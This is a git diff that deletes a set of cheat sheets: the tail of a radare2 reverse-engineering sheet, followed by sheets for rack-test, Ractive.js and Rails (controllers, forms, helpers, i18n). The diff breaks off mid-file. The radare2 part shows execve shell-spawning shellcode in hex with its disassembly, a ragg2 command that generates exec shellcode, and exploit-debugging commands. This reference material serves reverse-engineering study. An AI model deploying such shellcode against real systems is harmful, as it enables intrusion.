-    zg <language> <output file>: Generate signatures
-    	eg: zg go go.z
-
-    Run the generated script to load signatures
-    		eg: . go.z
-
-    z: To show signatures loaded:
-
-    +-------------------------------------------------------------------
-
-    r2-(pid2)> pd 35 @ 0x08049adb-10
-    |          0x08049adb   call fcn.0805b030
-    |             fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println
-    |          0x08049ae0   add esp, 0xc
-    |          0x08049ae3   call fcn.08095580
-
-    +-------------------------------------------------------------------
-
-# Compare Files
-
-    r2 -m 0xf0000 /etc/fstab    ; Open source file
-
-    o /etc/issue                ; Open file2 at offset 0
-
-    o                           ; List both files
-
-    cc offset: Diff by columns between current offset address and "offset"
-
-# Graphs
-
-    + Basic block graphs
-
-    	af: Load function metadata
-
-    	ag $$ > a.dot: Dump basic block graph to file
-
-    	ag $$ | xdot: Show current function basic block graph
-
-    + Call graphs
-
-    	af: Load function metadata
-
-    	agc $$ > b.dot: Dump basic block graph to file
-
-    + Convert .dot in .png
-
-    	dot -Tpng -o /tmp/b.png b.dot
-
-    + Generate graph for file
-
-    	radiff2 -g main crackme.bin crackme.bin > /tmp/a
-    	xdot /tmp/a
-
-# Debugger
-
-    + Start r2 in debugger mode. r2 will fork and attach
-
-    	r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /")
-
-    	ptrace://pid (debug backend does not notice, only access to mapped memory)
-
-    + Pass arguments
-
-    	r2 -d rarun2 program=pwn1 arg1=$(python exploit.py)
-
-    + Pass stdin
-
-    	r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py)
-
-    + Commands
-
-    	do: Reopen program
-
-    	dp: Shows debugged process, child processes and threads
-
-    	dc: Continue
-
-    	dcu <address or symbol>: Continue until symbol (sets bp in address, continua until bp and remove bp)
-
-    	dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library)
-
-    	ds: Step in
-
-    	dso: Step out
-
-    	dss: Skip instruction
-
-    	dr register=value: Change register value
-
-    	dr(=)?: Show register values
-
-    	db address: Sets a breakpoint at address
-    			db sym.main add breakpoint into sym.main
-    			db 0x804800 add breakpoint
-    			db -0x804800 remove breakpoint
-
-    	dsi (conditional step): Eg: "dsi eax==3,ecx>0"
-
-    	dbt: Shows backtrace
-
-    	drr: Display in colors and words all the refs from registers or memory
-
-    	dm: Shows memory map (* indicates current section)
-    			[0xb776c110]> dm
-    			sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls
-    			sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls
-    			sys 0xb776a000 - 0xb776b000 s r-x [vdso]
-    			sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so
-    			sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so
-    			sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack]
-
-    + To follow child processes in forks (set-follow-fork-mode in gdb)
-
-    	dcf until a fork happen then use dp to select what process you want to debug.
-
-    + PEDA like details
-
-    	drr;pd 10@-10;pxr 40@esp
-
-    + Debug in visual mode
-
-    	toggl breakpoints with F2
-    	single-step with F7 (s)
-    	step-over with F8 (S)
-    	continue with F9
-
-# WebGUI
-
-    =h: Start the server
-    =H: Start server and browser
-
-# rax2 - Base Conversion
-
-    -e: Change endian
-
-    -k: random ASCII art to represent a number/hash. Similar to how SSH represents keys
-
-    -s: ASCII to hex
-    		rax2 -S hola (from string to hex)
-    		rax2 -s 686f6c61 (from hex to string)
-
-    -S: binary to hex (for files)
-
-    -N: pack an integer
-    	rax2 -N 0x1234 # \x34\x12\x00\x00
-
-# rahash2 - Entropy, hashes and checksums
-
-    -a: Specify the algorithm
-
-    -b XXX: Block size
-
-    -B: Print all blocks
-
-    -a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy)
-
-    + Rot13 with rahash2
-    	rahash2 -E rot -S s:13 -s ‘Hello\n'
-
-# radiff2 - File diffing
-
-    -s: Calculate text distance from two files.
-
-    -d: Delta diffing (For files with different sizes. Its not byte per byte)
-
-    -C: Code diffing (instead of data)
-
-    +-------------------------------------------------------------------
-
-    Diff original and patched on x86_32, using graphdiff algorithm
-    		radiff2 -a x86 -b32 -C original patched
-
-    Show differences between original and patched on x86_32
-    		radiff2 -a x86 -b32 original patched :
-
-    +-------------------------------------------------------------------
-
-# rasm2 - Assembly/Disasembly
-
-    -L: Supported architectures
-
-    -a arch instruction: Sets architecture
-    		rasm2 -a x86 'mov eax,30' => b81e000000
-
-    -b tam: Sets block size
-
-    -d: Disassembly
-    		rasm2 -d b81e000000 => mov eax, 0x1e
-
-    -C: Assembly in C output
-    		rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00"
-
-    -D: Disassemble showing hexpair and opcode
-    		rasm2 -D b81e0000 => 0x00000000   5               b81e000000  mov eax, 0x1e
-
-    -f: Read data from file instead of ARG.
-
-    -t: Write data to file
-
-    + Disassemble shellcode from hex stdin
-
-    +-------------------------------------------------------------------
-
-    echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d -
-    	xor eax, eax
-    	movabs rbx, 0xff978cd091969dd1
-    	neg rbx
-    	push rbx
-    	push rsp
-    	pop rdi
-    	cdq
-    	push rdx
-    	push rdi
-    	push rsp
-    	pop rsi
-    	mov al, 0x3b
-    	syscall
-
-    +-------------------------------------------------------------------
-
-# rafind2 - Search
-
-    -Z: Look for Zero terminated strings
-
-    -s str: Look for specifc string
-
-    -X: Hex dump around output
-
-    + Search "/bin/sh" in libc
-
-    	rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6
-
-# ragg2 - Shellcode generator, C/opcode compiler
-
-    P: Generate De Bruijn patterns
-    		ragg2 -P 300 -r
-
-    -a arch: Configure architecture
-
-    -b bits: Specify architecture bits (32/64)
-
-    -i shellcode: Specify shellcode to generate
-
-    -e encoder: Specify encoder
-
-    + ragg2-cc: Generate shellcode from c
-
-    + Generate a x86, 32 bits exec shellcode
-    		ragg2 -a x86 -b 32 -i exec
-
-# rabin2 - Executable analysis: symbols, imports, strings
-
-    -I: Executable information
-
-    -C: Returns classes. Useful to list Java Classes
-
-    -l: Dynamic linked libraries
-
-    -s: Symbols
-
-    -z: Strings
-
-# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds
-
-    r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits
-    r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin
-
-# ESIL emulation
-
-    1) aei: Initialize ESIL VM
-
-    2) aeim: Assign ESIL stack
-    	aeim 0xffffd000 0x1000 stack
-
-    3) aeip: Program counter to current seek
-
-    4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code)
-
-    5) aes: Single stepping in emulation mode
-
-    + Toggle IL representation via O in Visual Mode
-
-# ESIL Linear emulation
-
-    Find all references to curr. address using linear esil emulation on all imports.
-
-    	/re$$@@ sym.imp.*
-
-# ESIL IL Representation
-
-    op 	esil
-    ------------
-    mov 	=
-    mul 	*
-    div 	/
-    and 	&
-    neg	!
-    read 	[]
-    if 	?{
-    add	+
-    sub	-
-    xor 	^
-    or	|
-    cmp	==
-    write	=[]
-
-    + prefix is %
-    + carry from bit x -> %cx
-    + borrow from bit x -> %bx
-    + zero-flag -> %z
-    + parity of dst -> %p
-    + sign-flag -> %s
-    + overflow-flag -> %o
-
-    + BREAK - Stop parsing and emulate next instruction
-    + LOOP - restart emulation of instruction
-    + GOTO n - jump to n
-    + TODO - stop emulation and eprintf("TDOD %s", ins)
-
-    x86			ESIL
-    ------------------------------------------------------
-    mov eax, ebx		ebx,eax,=
-    jz 0xaabbccdd		zf,?{,0xaabbccdd,eip,=,}
-    cmp ecx,edx		edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,=
-    push ebp		4,esp,-=ebp,esp,=[4]
-
-    + ESIL Doc
-    	https://github.com/radare/radare2book/blob/master/esil.md
-
-# r2pipe commands
-
-    + Invoke r2pipe script via r2 cmdline
-
-    	[0x00000000]> #!pipe node script.js
-    	[0x00000000]> #!pipe python script.py
-
-    + Good collection:
-    	https://radare.org/get/r2pipe-nn2015.pdf
-    	https://github.com/jpenalbae/r2-scripts
-
-# Parsing ELF
-
-    !!! open with r2 -nn
-
-    + Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..)
-
-    	[0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..
-
-# pf Templates
-
-    + Generate templates for structs/enums with td command
-
-    	"td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};"
-
-    https://github.com/Maijin/r2-pf-templates/
-
-    + Cast data @ <addr> to <type> and print it
-
-    	tp <type>  = <address>
-
-# r2scapy
-
-    r2 -i r2scapy.py dump.bin
-    	[0x00000000]> scapy DNS 0x81de3c 48
-    	DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.'))
-
-    + generate packets with scapy
-    	>>> from scapy.all import *
-    	>>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0)
-
-# r2m2 -Miasm Intermediate Representation Plugin
-
-    + Assemble and disassemble MIPS32 using rasm2
-
-    	r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d -
-    	ADDIU      A0, A1, 0x2
-
-    + Disassemble random MSP430 instructions in r2
-
-    	r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' -
-            		0x00000000      07fa           and.w      R10, R7
-            		0x00000002      47ad           dadd.b     R13, R7
-            		0x00000004      f05e0778       add.b      @R14+, 0x7807(PC)
-            		0x00000008      f46d81ed       addc.b     @R13+, 0xED81(R4)
-            		0x0000000c      3fdc           bis.w      @R12+, R15
-    + Assemble MIPS32 using rasm2 and display the call graph using r2
-
-    	r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin
-
-    	r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin
-        		,=< 0x00000000      0c000001       JAL        0x4
-       			`-> 0x00000004      00000000       NOP
-
-# bin carving with r2
-
-    + Open raw dump
-
-    	r2 -n dump.bin
-
-    + Searching for  magic
-
-    	[0x00000000]> / \x7fELF
-    	Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46
-    	0x00001340 hit0_0
-    	0x00001744 hit0_1
-    	...
-
-    + Dump 1M with at several hits
-
-    	[0x00000000]> b 1M
-    	[0x00000000]> wt @@ hit0*
-
-    + Automate it
-
-    	$ for a in dump.* ; do
-    	sz=`rabin2 -Z $a`     # get RBin.filesize
-    	r2 -wnqc"r $sz" $a  # resize file
-    	done
-
-    http://radare.today/posts/carving-bins/
-
-# r4ge - symbolic execution
-
-    + https://github.com/gast04/r4ge
-
-    Usage: https://asciinema.org/a/155856
-
-# r2wiki -Macro for using wiki in commandline
-
-    + https://github.com/securisec/r2wiki
-
-    $wiki "query string"
diff --git a/docs/content/cheat-sheets/rack-test.md b/docs/content/cheat-sheets/rack-test.md
deleted file mode 100644
index 662f7a58f7..0000000000
--- a/docs/content/cheat-sheets/rack-test.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: rack-test
-category: Ruby libraries
----
-
-### Methods
-
-```ruby
-get 'url'
-post 'url', 'name' => 'john'
-put
-patch
-delete
-options
-head
-```
-
-```ruby
-authorize 'user', 'pass'
-env 'rack.session', csrf: 'token'
-header 'Content-Type', 'text/html'
-```
-
-See [rack/test.rb](https://github.com/brynary/rack-test/blob/master/lib/rack/test.rb).
diff --git a/docs/content/cheat-sheets/ractive.md b/docs/content/cheat-sheets/ractive.md
deleted file mode 100644
index 4a0c70305b..0000000000
--- a/docs/content/cheat-sheets/ractive.md
+++ /dev/null
@@ -1,240 +0,0 @@
----
-title: Ractive.js
-category: JavaScript libraries
-vim: ft=javascript
----
-
-{% raw %}
-
-### [Initialization](http://docs.ractivejs.org/latest/options)
-
-    new Ractive({
-      el: $('..'),
-      el: '#box',
-      template: '...', // required
-
-      // callbacks
-      init: function() {},    // on instantiate
-      complete: function() {}, // on finish animations
-
-      // objs
-      data: { ... },
-      partials: { ... },    // global: Ractive.partials
-      transitions: { ... }, // global: Ractive.transitions
-      components: { ... },
-      adaptors: [ ... ],
-
-      // options
-      magic: false
-      modifyArrays: true
-      twoway: true
-      noIntro: true // true = disable transition on initial render
-      lazy: false   // false = use keyevents, true = use change/blur
-      append: false // false = overwrite element, true = append
-      debug: false
-      sanitize: false
-    })
-
-## Instance methods
-
-### Updating values
-
-    view.add('count', 1)       //=> promise
-    view.subtract('count', 1)  //=> promise
-    view.toggle('shown')       //=> promise
-
-    view.set('a', true)
-    view.set({ a: true })
-    view.reset({ a: true })
-    view.merge('list', [a,b,c])
-
-    view.get('a')
-    view.data.a
-
-### Nodes and components
-
-    view.find('.klass')
-    view.findAll('.klass')
-    view.nodes
-    view.nodes['hello']   // .find('#hello')
-
-    view.findComponent('photo')
-    view.findAllComponents('photo')
-
-### Events
-
-    view.on('event', function() { ... })
-    view.off('event', fn)
-    view.fire('event')
-
-### Others
-
-    view.update()
-    view.updateModel()
-
-    view.insert('.node .path')
-
-    view.observe({ 'name': function() { ... } })
-
-    view.toHTML()  //=> String
-    view.render()
-
-## Extend
-
-    View = Ractive.extend({
-      ...
-    })
-    new View()
-
-## [Components](https://github.com/RactiveJS/Ractive/wiki/Components)
-
-See: https://github.com/RactiveJS/Ractive/issues/74
-{:.center}
-
-    Widget = Ractive.extend({ ... })
-
-    ractive = new Ractive({
-      el: 'main',
-      template: '<widget foo="bar"/>',
-      components: {
-        widget: Widget
-      }
-    });
-
-## Partials
-
-    // Global partials
-    Ractive.partials.x = "<..>"
-
-## Events
-
-    view.on('teardown')
-
-### DOM Events
-
-    <button on-click='activate'>Activate!</button>
-
-    view.on({
-      activate: function () { ... }
-    });
-
-    <button on-click='sort:name'>Sort by name</button>
-    view.on('sort', function (e, column) {
-      console.log('sorting by #{column}');
-    });
-
-### Observing
-
-     view.observe("name", function (name) {
-       console.log("Changed name to", name);
-     }, { init: false });
-
-## Markup
-
-    Hello, {{name}}
-    Body: {{{unescaped}}}
-
-    <!-- each -->
-    {{#mylist:i}}
-      <li>{{this.name}}</li>
-      <li>{{name}}</li>
-      <li>{{.}}</li> <!-- same as 'this' -->
-    {{/mylist}}
-
-    {{^user}}Not logged in{{/user}} <!-- if false -->
-    {{#user}}Welcome, sire{{/user}} <!-- if true -->
-
-    {{>partialName}}
-    <component>
-
-    {{#statusDogs[selected]}}
-
-## Transformed attributes
-
-This transforms the `list` attribute via a helper function called `sort()`.
-
-    {{# sort(list, "name") :num }}
-      <li>{{num}} - {{name}}</li>
-    {{/ end. any text goes here }}
-
-    data: {
-      sort: function(array, column) { return array.whatever(); }
-    }
-
-## Transitions
-
-    <div intro="fade">
-    <div intro="bump">
-    <div intro="bump:{duration:400}">
-
-    Ractive.transitions.bump = function(t, params) {
-       params = t.processParams( params, {
-         duration: 400,
-         color: t.isIntro ? 'rgb(0,255,0)' : 'rgb(255,0,0)'
-       });
-
-      if (t.isIntro) {
-        /* enter */
-      } else {
-        /* exit */
-      }
-
-      t.complete();
-    };
-
-## [Decorators](http://docs.ractivejs.org/latest/decorators)
-
-    <span decorator="tooltip:hello there">Hover me</span>
-
-    decorators: {
-      tooltip: function (node, content) {
-        // setup code here
-        return {
-          teardown: function () {
-            // cleanup code here
-          }
-        }
-      }
-    }
-
-    <span decorator="tooltip:'a','b',2,'c'">Hover me</span>
-
-    tooltip: function (node, a, b, two, c) { ... }
-
-## [Adaptors](http://docs.ractivejs.org/latest/adaptors)
-
-    myAdaptor = {
-      filter: function (object, keypath, ractive) {
-        // return `true` if a particular object is of the type we want to adapt
-      },
-      wrap: function (ractive, object, keypath, prefixer) {
-        // set up event bindings here
-        object.on('change', function () { ractive.set(prefixer({...})); });
-        // then return a wrapper:
-        return {
-          teardown: function () { .. },
-          // json representation
-          get: function () { return { a:2, b:3, c:4, ... }; },
-          // called on ractive.set
-          set: function (key, val) { },
-          // called on ractive.set on root (return false = die)
-          reset: function (data) { return false; }
-        };
-      }
-    };
-
-## [Computed properties](http://docs.ractivejs.org/latest/computed-properties)
-
-    new Ractive({
-      template: '{{area}}',
-      computed: {
-        area: function () { return this.get('width') * this.get('height'); }
-        area: '${width} * ${height}'
-        fullname: {
-          get: '${first} + " " + ${last}"
-          set: function (name) { ... }
-        }
-      }
-    });
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/rails-controllers.md b/docs/content/cheat-sheets/rails-controllers.md
deleted file mode 100644
index 3a252e8789..0000000000
--- a/docs/content/cheat-sheets/rails-controllers.md
+++ /dev/null
@@ -1,158 +0,0 @@
----
-title: Controllers
-category: Rails
----
-
-### Common stuff
-
-    redirect_to root_url
-    redirect_to root_url, notice: "Good."
-
-### Special hashes
-
-    session[:user_id] = nil
-
-    flash[:notice] = "Hello"    # Gets flushed on next request
-    flash.keep                  # Persist flash values
-    flash.now[:error] = "Boo"   # Available on the same request
-
-    cookies[:hello] = "Hi"
-
-    params[:page]
-
-    # params is a combination of:
-    query_parameters
-    path_parameters
-    request_parameters
-
-### respond_to
-
-    respond_to do |format|
-      format.html
-      format.xml  { render xml: @users }
-      format.json { render json: @users }
-      format.js    # Will be executed by the browser
-    end
-
-### default_url_options
-
-    # The options parameter is the hash passed in to 'url_for'
-    def default_url_options(options)
-      {:locale => I18n.locale}
-    end
-
-### Filters
-
-    # Filter with callbacks
-    before_filter :authenticate
-    before_filter :authenticate, except: [:login]
-    before_filter :authenticate, only: [:login]
-    def authenticate
-      redirect_to login_url unless controller.logged_in?
-    end
-
-    # Filter with inline
-    before_filter do |controller|
-      redirect_to login_url unless controller.logged_in?
-    end
-
-    # Filter with external classes
-    before_filter LoginFilter
-    class LoginFilter
-      def self.filter(controller) ...; end
-    end
-
-    # Filter exceptions
-    skip_before_filter :require_login, only: [:new, :create]
-
-    # Before/after filters
-    around_filter :wrap_in_transaction
-    def wrap_in_transaction(&blk)
-      ActiveRecord::Base.transaction { yield }
-    end
-
-### HTTP basic authentication
-
-    before_filter :authenticate
-
-    # Basic authentication:
-    def authenticate
-      authenticate_or_request_with_http_basic { |u, p|
-        u == "root" && p == "alpine"
-      }
-    end
-
-    # ...or digest (hashed) authentication:
-    # uses the ha1 hash (username:realm:password)
-    def authenticate_by_digest
-      realm = "Secret3000"
-      users = {
-        "rsc" => Digest::MD5.hexdigest("rsc:#{realm}:passwordhere")
-      }
-
-      authenticate_or_request_with_http_digest(realm) { |user|
-        users[user]
-      }
-    end
-
-    # For integration tests
-    def test_access
-      auth = ActionController::HttpAuthentication::Basic.encode_credentials(user, pass)
-      get "/notes/1.xml", nil, 'HTTP_AUTHORIZATION' => auth
-    end
-
-    # Token auth
-    is_logged_in = authenticate_with_http_token do |token, options|
-      token == our_secret_token
-    end
-
-    request_http_token_authentication  unless is_logged_in
-
-### Request/response
-
-    request.host            #=> "www.example.com"
-    request.domain          #=> "www.example.com"
-    request.domain(n=2)     #=> "example.com"
-    request.port            #=> 80
-    request.protocol        #=> "http://"
-    request.query_string    #=> "q=duck+tales"
-    request.url             #=> "http://www.example.com/search?q=duck+tales"
-    request.fullpath        #=> "/search?q=duck+tales"
-
-    request.headers         # Returns a hash
-
-    request.format          #=> "text/html"
-    request.remote_ip       #=> "203.167.220.220"
-    request.local?          #=> true (if localhost/127.0.0.1)
-
-    request.xhr?
-
-    request.method          #=> "POST"
-    request.method_symbol   #=> :post
-    request.get?
-    request.post?
-    request.put?
-    request.delete?
-    request.head?
-
-### response
-
-    response.body
-    response.status         #=> 404
-    response.location       # Redirect location
-    response.content_type
-    response.charset
-    response.headers
-
-    response.headers["Content-Type"] = "application/pdf"
-
-### Streaming
-
-    send_data pdfdata, filename: "foo.pdf", type: "application/pdf"
-    send_file Rails.root.join('public','filename.txt') [filename: '..', type: '..']
-
-### References
-
--   [Guide](http://guides.rubyonrails.org/action_controller_overview.html)
--   [HttpAuthentication::Basic](http://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic.html)
--   [HttpAuthentication::Token](http://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html)
diff --git a/docs/content/cheat-sheets/rails-forms.md b/docs/content/cheat-sheets/rails-forms.md
deleted file mode 100644
index 9cbde15a44..0000000000
--- a/docs/content/cheat-sheets/rails-forms.md
+++ /dev/null
@@ -1,150 +0,0 @@
----
-title: Form helpers
-hljs_languages: [haml]
-category: Rails
----
-
-## Form builder
-
-```haml
-- form_for @post do |f|
-```
-
-Field names will be prefixed with `post` (the class name), and values will be derived from this object (eg, `f.text_field :name` from `@post.name`).
-
-### Options
-
-```haml
-- form_for @post, |
-  url: { method: 'put', action: 'create' }, |
-  html: { class: 'nifty_form' } |
-  do |f|
-```
-
-## Fields
-
-### Text
-
-```rb
-f.text_field :title
-f.text_area :body, size: '60x12'
-```
-
-### Checkbox
-
-```rb
-f.check_box :remember_me
-f.label :remember_me, "Remember me"
-```
-
-### Radio
-
-```rb
-f.radio_button :gender, 'male'
-f.label :gender_male, "Male"
-
-f.radio_button :gender, 'female'
-f.label :gender_female, "Female"
-```
-
-### Label
-
-```rb
-f.label :title
-f.label :title, "Title"
-f.label :title, "Title", class: "title"
-f.label(:post, :terms) { "Accept terms" }
-```
-
-### Submit button
-
-```rb
-f.submit "Create"
-```
-
-### Hidden fields
-
-```rb
-f.hidden_field :id
-```
-
-## Misc
-
-### The model
-
-```ruby
-f.object
-```
-
-### Fields for
-
-```haml
-= form_for @post do |f|
-  = fields_for :author, @post.author do |ff|
-    = ff.text_field :name
-```
-
-### Select dropdowns
-
-```rb
-f.select :city_id, [['Lisbon',1], ['Madrid',2], ...], 4
-# (4 = selected)
-
-options_for_select [['Lisbon',1], ['Madrid',2], ...], 4
-# Just makes <option> tags
-```
-
-### Collections
-
-```
-f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial
-f.collection_select :city_id, City.all, :id, :name
-# (field, collection, value_key, label_key)
-```
-
-### Time select
-
-```rb
-f.time_zone_select :time_zone
-f.date_select :birthday
-```
-
-### I18n
-
-```yaml
-helpers:
-    submit:
-        # helpers.submit.<action>
-        create: 'Create a %{model}'
-        update: 'Confirm changes to %{model}'
-
-        # helpers.submit.<model>.<action>
-        article:
-            create: 'Publish article'
-            update: 'Update article'
-
-    # helpers.label.<model>.<field>
-    label:
-        post:
-            body: 'Your body text'
-```
-
-### Outside `f`
-
-```rb
-radio_button("post", "category", "rails")
-radio_button("post", "category", "java")
-
-# picks from @post.category
-# <input type="radio" id="post_category_rails" name="post[category]"
-#  value="rails" checked="checked" />
-```
-
-### Reference
-
-```rb
-select(method, choices = nil, options = {}, html_options = {}, &block)
-  choices == [ ['label', id], ... ]
-
-submit(value=nil, options={})
-```
diff --git a/docs/content/cheat-sheets/rails-helpers.md b/docs/content/cheat-sheets/rails-helpers.md
deleted file mode 100644
index dbf8597afa..0000000000
--- a/docs/content/cheat-sheets/rails-helpers.md
+++ /dev/null
@@ -1,99 +0,0 @@
----
-title: Helpers
-category: Rails
----
-
-### Date
-
-    distance_of_time_in_words(Time.now, project.end_date) #=> 3 hours
-    distance_of_time_in_words_to_now(project.end_date)    #=> 3 hours
-
-    time_ago_in_words 3.minutes.ago #=> "3 minutes"
-
-### Numbers
-
-    number_to_currency 20.33
-    number_to_currency 20.33, precision: 0
-    number_with_precision 3.14159, precision: 2
-    number_to_percentage 32       #=> "32%"
-    number_with_delimiter 2048    #=> "2,048"
-    number_to_human 12000000      #=> "12 million"
-    number_to_human_size 12000000 #=> "12 MB"
-    number_to_phone "5551234"     #=> "555-1234"
-
-### Cache
-
-    <% cache project do %>
-    <% cache [project, current_user] do %>
-
-    <% cache_if admin?, project do %>
-    <% cache_unless admin?, project do %>
-
-### Tags
-
-    tag("br")
-    tag("img", src: "image.jpg")
-    content_tag(:p, "Hello")
-
-### Time select
-
-    # Creates a time select tag that, when POSTed, will be stored in the article
-    # variable in the sunrise attribute.
-    time_select "article", "start_time"
-
-    # All options are optional
-    time_select "article", "start_time", \
-      include_seconds: true,
-      minute_step: 15,
-      prompt: true,
-      prompt: { hour: "Choose hr", minute: "Choose min", second: "Choose sec" },
-      ampm: true
-
-    # For dates (all options are optional)
-    date_select "article", "written_on", \
-      start_year: 1995,
-      use_month_numbers: true,
-      discard_day: true,
-      include_blank: true,
-      order: [:day, :month, :year],
-      default: 3.days.from_now,
-      default: { day: 20 },
-      prompt: { day: 'Select day', month: 'Select month', year: 'Select year' }
-
-### Time tag
-
-    time_tag Date.today
-    #=> '<time datetime="2010-11-04">November 04, 2010<%rtime>'
-
-    time_tag Time.now
-    #=> '<time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>'
-
-    time_tag Date.yesterday, 'Yesterday'
-    #=> '<time datetime="2010-11-03">Yesterday<%rtime>'
-
-    time_tag Date.today, pubdate: true
-    #=> '<time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>'
-
-    time_tag Date.today, \
-      format: :short_date # (en.time.formats.short_date)
-
-### Files
-
-    = form_for @post, multipart: true do |f|
-      = f.file_field :picture
-
-### i18n
-
-    t('folders')
-    t('folders.save')
-
-    l(Time.now)
-
-    t('x_files', count: files.count)
-    # files:
-    #    one: 'one file'
-    #    other: '%{count} files'
-
-### References
-
-    * http://api.rubyonrails.org/classes/ActionView/Helpers.html
diff --git a/docs/content/cheat-sheets/rails-i18n.md b/docs/content/cheat-sheets/rails-i18n.md
deleted file mode 100644
index a87b424eaf..0000000000
--- a/docs/content/cheat-sheets/rails-i18n.md
+++ /dev/null
@@ -1,313 +0,0 @@
----
-title: i18n
-category: Rails
----
-
-```rb
-t('my.messages.hello')
-
-# same as 'my.messages.hello'
-t(:hello, scope: 'my.messages')
-t(:hello, scope: [:my, :messages])
-
-t('my.messages.hello', default: "Hello")
-```
-
-{:.light}
-
-```yml
-en:
-    my:
-        messages:
-            hello: 'Hello'
-```
-
-### Interpolation
-
-```rb
-t('hello', name: "John")
-```
-
-{:.light}
-
-```yml
-hello: 'Hello %{name}'
-```
-
-### Lazy lookup
-
-```rb
-# from the 'books/index' view
-t('.title')
-```
-
-{:.light}
-
-```yml
-en:
-    books:
-        index:
-            title: 'Título'
-```
-
-### Plural
-
-```rb
-t(:inbox, count: 1)  #=> 'one message'
-t(:inbox, count: 2)  #=> '2 messages'
-```
-
-{:.light}
-
-```yml
-inbox:
-  one: 'one message',
-  other: '%{count} messages'
-```
-
-## Localizing
-
-### Time
-
-```rb
-l(Time.now)
-l(Time.now, format: :short)
-```
-
-{:.light}
-
-```yml
-en:
-    time:
-        formats:
-            default: '%a, %d %b %Y %H:%M:%S %z'
-            long: '%B %d, %Y %H:%M'
-            short: '%d %b %H:%M'
-```
-
-### Date
-
-```rb
-l(Date.today)
-```
-
-{:.light}
-
-```yml
-en:
-    date:
-        formats:
-            default: '%Y-%m-%d' # 2015-06-25
-            long: '%B %d, %Y' # June 25, 2015
-            short: '%b %d' # Jun 25
-```
-
-## ActiveRecord
-
-### Model names
-
-```rb
-User.model_name.human            #=> "User"
-Child.model_name.human(count: 2) #=> "Children"
-```
-
-{:.light}
-
-```yml
-en:
-    activerecord:
-        models:
-            user: 'User'
-            child:
-                one: 'Child'
-                other: 'Children'
-```
-
-### Attributes
-
-```rb
-User.human_attribute_for :name   #=> "Name"
-```
-
-{:.light}
-
-```yml
-en:
-    activerecord:
-        attributes:
-            user:
-                # activerecord.attributes.<model>.<field>
-                name: 'Name'
-                email: 'Email'
-```
-
-### Error messages
-
-```rb
-error_messages_for(...)
-```
-
-{:.light}
-
-```yml
-activerecord:
-    errors:
-        models:
-            venue:
-                attributes:
-                    name:
-                        blank: 'Please enter a name.'
-```
-
-Possible scopes (in order):
-
-```yml
-activerecord.errors.models.[model_name].attributes.[attribute_name].[error]
-activerecord.errors.models.[model_name].[error]
-activerecord.errors.messages.[error]
-errors.attributes.[attribute_name].[error]
-errors.messages.[error]
-```
-
-Where `[error]` can be:
-
-```yml
-validates
-confirmation - :confirmation
-acceptance   - :accepted
-presence     - :blank
-length       - :too_short (%{count})
-length       - :too_long (%{count})
-length       - :wrong_length (%{count})
-uniqueness   - :taken
-format       - :invalid
-numericality - :not_a_number
-```
-
-### Form labels
-
-```rb
-form_for @post do
-  f.label :body
-```
-
-{:.light}
-
-```yml
-helpers:
-    # helpers.label.<model>.<field>
-    label:
-        post:
-            body: 'Your body text'
-```
-
-### Submit buttons
-
-```rb
-form_for @post do
-  f.submit
-```
-
-{:.light}
-
-```yml
-helpers:
-    submit:
-        # helpers.submit.<action>
-        create: 'Create a %{model}'
-        update: 'Confirm changes to %{model}'
-
-        # helpers.submit.<model>.<action>
-        article:
-            create: 'Publish article'
-            update: 'Update article'
-```
-
-## Numbers
-
-```rb
-number_to_delimited(2000)             #=> "2,000"
-number_to_currency(12.3)              #=> "$12.30"
-number_to_percentage(0.3)             #=> "30%"
-number_to_rounded(3.14, precision: 0) #=> "3"
-number_to_human(12_000)               #=> "12 Thousand"
-number_to_human_size(12345)           #=> "12.3 kb"
-```
-
-{:.light}
-
-### Delimited
-
-```rb
